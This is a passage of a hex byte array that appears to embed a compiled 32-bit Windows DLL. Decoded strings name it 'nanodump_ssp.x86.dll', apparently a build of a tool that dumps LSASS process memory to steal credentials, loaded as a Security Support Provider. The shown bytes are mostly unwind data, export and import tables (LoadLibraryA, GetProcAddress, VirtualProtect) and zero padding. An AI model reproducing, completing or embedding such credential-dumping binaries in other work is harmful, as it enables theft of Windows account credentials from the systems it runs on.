,0xFF,0xFF,0x88,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x52,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x47,0x0B,0x02,0x56,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x4A,0x0B,0x00,0x2C,0x00,0x00,0x00,0xA0,0x00,0x00,0x00,0xF8,0xC4,0xFF,0xFF,0xE5,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x72,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x47,0x0B,0x02,0x7E,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x42,0x0B,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x24,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xA0,0xC5,0xFF,0xFF,0x2F,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x44,0x0D,0x05,0x58,0x0A,0xC5,0x0C,0x04,0x04,0x43,0x0B,0x49,0xC5,0x0C,0x04,0x04,0x00,0x00,0x24,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0xA8,0xC5,0xFF,0xFF,0x46,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x45,0x86,0x03,0x83,0x04,0x7B,0xC3,0x41,0xC6,0x41,0xC5,0x0C,0x04,0x04,0x00,0x38,0x00,0x00,0x00,0x6C,0x00,0x00,0x00,0xD0,0xC5,0xFF,0xFF,0xAC,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x43,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x8D,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x4A,0x0B,0x48,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x00,0x00,0x24,0x00,0x00,0x00,0xA8,0x00,0x00,0x00,0x44,0xC6,0xFF,0xFF,0x86,0x00,0x00,0x00,0x00,0x7C,0x0E,0x08,0x85,0x02,0x4D,0x0D,0x05,0x41,0x86,0x03,0x48,0x83,0x04,0x71,0xC3,0x41,0xC6,0x41,0xC5,0x0C,0x04,0x04,0x10,0x00,0x00,0x00,0xD0,0x00,0x00,0x00,0xAC,0xC6,0xFF,0xFF,0x33,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x28,0x00,0x00,0x00,0xE4,0x00,0x00,0x00,0xD8,0xC6,0xFF,0xFF,0x7E,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x4D,0x0D,0x05,0x41,0x83,0x03,0x61,0x0A,0xC5,0xC3,0x0C,0x04,0x04,0x48,0x0B,0x02,0x45,0xC5,0xC3,0x0C,0x04,0x04,0x10,0x00,0x00,0x00,0x10,0x01,0x00,0x00,0x2C,0xC7,0xFF,0xFF,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x24,0x01,0x00,0x00,0x58,0xC7,0xFF,0xFF,0x8E,0x00,0x00,0x00,0x00,0x7C,0x0E,0x08,0x85,0x02,0x4D,0x0D,0x05,0x42,0x86,0x03,0x83,0x04,0x70,0x0A,0xC3,0x43,0xC6,0x41,0xC5,0x0C,0x04,0x04,0x41,0x0B,0x44,0xC3,0x41,0xC6,0x41,0xC5,0x0C,0x04,0x04,0x00,0x44,0x00,0x00,0x00,0x58,0x01,0x00,0x00,0xB4,0xC7,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x4D,0x0D,0x05,0x43,0x87,0x03,0x86,0x04,0x83,0x05,0x5D,0x0A,0xC3,0x43,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x45,0x0B,0x02,0x43,0x0A,0xC3,0x41,0xC6,0x43,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x48,0x0B,0x64,0xC3,0x41,0xC6,0x41,0xC7,0x47,0xC5,0x0C,0x04,0x04,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x10,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x14,0xC8,0xFF,0xFF,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x10,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x28,0xC8,0xFF,0xFF,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x0C,0xC8,0xFF,0xFF,0x2C,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x44,0x0D,0x05,0x66,0xC5,0x0C,0x04,0x04,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x04,0xC8,0xFF,0xFF,0x11,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0xC5,0x0C,0x04,0x04,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x24,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xEC,0xC7,0xFF,0xFF,0x29,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x5E,0x0A,0xC5,0x0C,0x04,0x04,0x41,0x0B,0x46,0xC5,0x0C,0x04,0x04,0x00,0x00,0x2C,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0xF4,0xC7,0xFF,0xFF,0xC6,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x44,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x48,0x0B,0x00,0x28,0x00,0x00,0x00,0x74,0x00,0x00,0x00,0x94,0xC8,0xFF,0xFF,0x69,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x5C,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x10,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x7C,0xC9,0xFF,0xFF,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x79,0x7A,0x68,0x00,0x00,0x00,0x00,0x32,0xD0,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0xD0,0x00,0x00,0x2C,0xD0,0x00,0x00,0x30,0xD0,0x00,0x00,0x7D,0x5D,0x00,0x00,0x47,0xD0,0x00,0x00,0x00,0x00,0x6E,0x61,0x6E,0x6F,0x64,0x75,0x6D,0x70,0x5F,0x73,0x73,0x70,0x2E,0x78,0x38,0x36,0x2E,0x64,0x6C,0x6C,0x00,0x44,0x6C,0x6C,0x4D,0x61,0x69,0x6E,0x40,0x31,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3C,0xE0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0xE4,0x00,0x00,0xF0,0xE0,0x00,0x00,0x80,0xE0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8C,0xE4,0x00,0x00,0x34,0xE1,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA4,0xE1,0x00,0x00,0xBC,0xE1,0x00,0x00,0xD4,0xE1,0x00,0x00,0xE2,0xE1,0x00,0x00,0xF2,0xE1,0x00,0x00,0x06,0xE2,0x00,0x00,0x18,0xE2,0x00,0x00,0x2A,0xE2,0x00,0x00,0x36,0xE2,0x00,0x00,0x42,0xE2,0x00,0x00,0x5E,0xE2,0x00,0x00,0x76,0xE2,0x00,0x00,0x86,0xE2,0x00,0x00,0x8E,0xE2,0x00,0x00,0x9C,0xE2,0x00,0x00,0xAE,0xE2,0x00,0x00,0x00,0x00,0x00,0x00,0xBE,0xE2,0x00,0x00,0xCC,0xE2,0x00,0x00,0xD8,0xE2,0x00,0x00,0xE0,0xE2,0x00,0x00,0xE8,0xE2,0x00,0x00,0xF2,0xE2,0x00,0x00,0xFE,0xE2,0x00,0x00,0x06,0xE3,0x00,0x00,0x10,0xE3,0x00,0x00,0x18,0xE3,0x00,0x00,0x22,0xE3,0x00,0x00,0x2E,0xE3,0x00,0x00,0x38,0xE3,0x00,0x00,0x42,0xE3,0x00,0x00,0x4C,0xE3,0x00,0x00,0x54,0xE3,0x00,0x00,0x5E,0xE3,0x00,0x00,0x66,0xE3,0x00,0x00,0x70,0xE3,0x00,0x00,0x7A,0xE3,0x00,0x00,0x84,0xE3,0x00,0x00,0x8E,0xE3,0x00,0x00,0x9C,0xE3,0x00,0x00,0xA8,0xE3,0x00,0x00,0xB0,0xE3,0x00,0x00,0xBA,0xE3,0x00,0x00,0xC4,0xE3,0x00,0x00,0x00,0x00,0x00,0x00,0xA4,0xE1,0x00,0x00,0xBC,0xE1,0x00,0x00,0xD4,0xE1,0x00,0x00,0xE2,0xE1,0x00,0x00,0xF2,0xE1,0x00,0x00,0x06,0xE2,0x00,0x00,0x18,0xE2,0x00,0x00,0x2A,0xE2,0x00,0x00,0x36,0xE2,0x00,0x00,0x42,0xE2,0x00,0x00,0x5E,0xE2,0x00,0x00,0x76,0xE2,0x00,0x00,0x86,0xE2,0x00,0x00,0x8E,0xE2,0x00,0x00,0x9C,0xE2,0x00,0x00,0xAE,0xE2,0x00,0x00,0x00,0x00,0x00,0x00,0xBE,0xE2,0x00,0x00,0xCC,0xE2,0x00,0x00,0xD8,0xE2,0x00,0x00,0xE0,0xE2,0x00,0x00,0xE8,0xE2,0x00,0x00,0xF2,0xE2,0x00,0x00,0xFE,0xE2,0x00,0x00,0x06,0xE3,0x00,0x00,0x10,0xE3,0x00,0x00,0x18,0xE3,0x00,0x00,0x22,0xE3,0x00,0x00,0x2E,0xE3,0x00,0x00,0x38,0xE3,0x00,0x00,0x42,0xE3,0x00,0x00,0x4C,0xE3,0x00,0x00,0x54,0xE3,0x00,0x00,0x5E,0xE3,0x00,0x00,0x66,0xE3,0x00,0x00,0x70,0xE3,0x00,0x00,0x7A,0xE3,0x00,0x00,0x84,0xE3,0x00,0x00,0x8E,0xE3,0x00,0x00,0x9C,0xE3,0x00,0x00,0xA8,0xE3,0x00,0x00,0xB0,0xE3,0x00,0x00,0xBA,0xE3,0x00,0x00,0xC4,0xE3,0x00,0x00,0x00,0x00,0x00,0x00,0x13,0x01,0x44,0x65,0x6C,0x65,0x74,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x34,0x01,0x45,0x6E,0x74,0x65,0x72,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x00,0xAF,0x01,0x46,0x72,0x65,0x65,0x4C,0x69,0x62,0x72,0x61,0x72,0x79,0x00,0x67,0x02,0x47,0x65,0x74,0x4C,0x61,0x73,0x74,0x45,0x72,0x72,0x6F,0x72,0x00,0x00,0x7B,0x02,0x47,0x65,0x74,0x4D,0x6F,0x64,0x75,0x6C,0x65,0x48,0x61,0x6E,0x64,0x6C,0x65,0x41,0x00,0x00,0xB4,0x02,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x41,0x64,0x64,0x72,0x65,0x73,0x73,0x00,0x00,0xBA,0x02,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x65,0x73,0x73,0x48,0x65,0x61,0x70,0x00,0x00,0x4E,0x03,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x00,0x54,0x03,0x48,0x65,0x61,0x70,0x46,0x72,0x65,0x65,0x00,0x00,0x6B,0x03,0x49,0x6E,0x69,0x74,0x69,0x61,0x6C,0x69,0x7A,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0xCB,0x03,0x4C,0x65,0x61,0x76,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x00,0xCF,0x03,0x4C,0x6F,0x61,0x64,0x4C,0x69,0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x00,0x66,0x05,0x53,0x6C,0x65,0x65,0x70,0x00,0x89,0x05,0x54,0x6C,0x73,0x47,0x65,0x74,0x56,0x61,0x6C,0x75,0x65,0x00,0xB9,0x05,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x00,0xBC,0x05,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x51,0x75,0x65,0x72,0x79,0x00,0x00,0x8E,0x00,0x5F,0x61,0x6D,0x73,0x67,0x5F,0x65,0x78,0x69,0x74,0x00,0x00,0x32,0x01,0x5F,0x69,0x6E,0x69,0x74,0x74,0x65,0x72,0x6D,0x00,0x36,0x01,0x5F,0x69,0x6F,0x62,0x00,0x00,0x99,0x01,0x5F,0x6C,0x6F,0x63,0x6B,0x00,0xE5,0x02,0x5F,0x75,0x6E,0x6C,0x6F,0x63,0x6B,0x00,0x22,0x03,0x5F,0x77,0x63,0x73,0x69,0x63,0x6D,0x70,0x00,0x00,0x9D,0x03,0x61,0x62,0x6F,0x72,0x74,0x00,0xAA,0x03,0x63,0x61,0x6C,0x6C,0x6F,0x63,0x00,0x00,0xCC,0x03,0x66,0x72,0x65,0x65,0x00,0x00,0xD9,0x03,0x66,0x77,0x72,0x69,0x74,0x65,0x00,0x00,0x0A,0x04,0x6D,0x62,0x73,0x74,0x6F,0x77,0x63,0x73,0x00,0x00,0x0E,0x04,0x6D,0x65,0x6D,0x63,0x6D,0x70,0x00,0x00,0x0F,0x04,0x6D,0x65,0x6D,0x63,0x70,0x79,0x00,0x00,0x11,0x04,0x6D,0x65,0x6D,0x73,0x65,0x74,0x00,0x00,0x21,0x04,0x72,0x61,0x6E,0x64,0x00,0x00,0x22,0x04,0x72,0x65,0x61,0x6C,0x6C,0x6F,0x63,0x00,0x32,0x04,0x73,0x72,0x61,0x6E,0x64,0x00,0x40,0x04,0x73,0x74,0x72,0x6C,0x65,0x6E,0x00,0x00,0x43,0x04,0x73,0x74,0x72,0x6E,0x63,0x6D,0x70,0x00,0x44,0x04,0x73,0x74,0x72,0x6E,0x63,0x70,0x79,0x00,0x47,0x04,0x73,0x74,0x72,0x72,0x63,0x68,0x72,0x00,0x52,0x04,0x73,0x77,0x70,0x72,0x69,0x6E,0x74,0x66,0x5F,0x73,0x00,0x00,0x65,0x04,0x76,0x66,0x70,0x72,0x69,0x6E,0x74,0x66,0x00,0x00,0xCD,0x02,0x74,0x69,0x6D,0x65,0x00,0x00,0x80,0x04,0x77,0x63,0x73,0x6E,0x63,0x61,0x74,0x00,0x83,0x04,0x77,0x63,0x73,0x6E,0x63,0x70,0x79,0x00,0x87,0x04,0x77,0x63,0x73,0x72,0x63,0x68,0x72,0x00,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x4B,0x45,0x52,0x4E,0x45,0x4C,0x33,0x32,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x14,0xE0,0x00,0x00,0x6D,0x73,0x76,0x63,0x72,0x74,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x88,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x5E,0x88,0x6C,0x80,0x5E,0x88,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x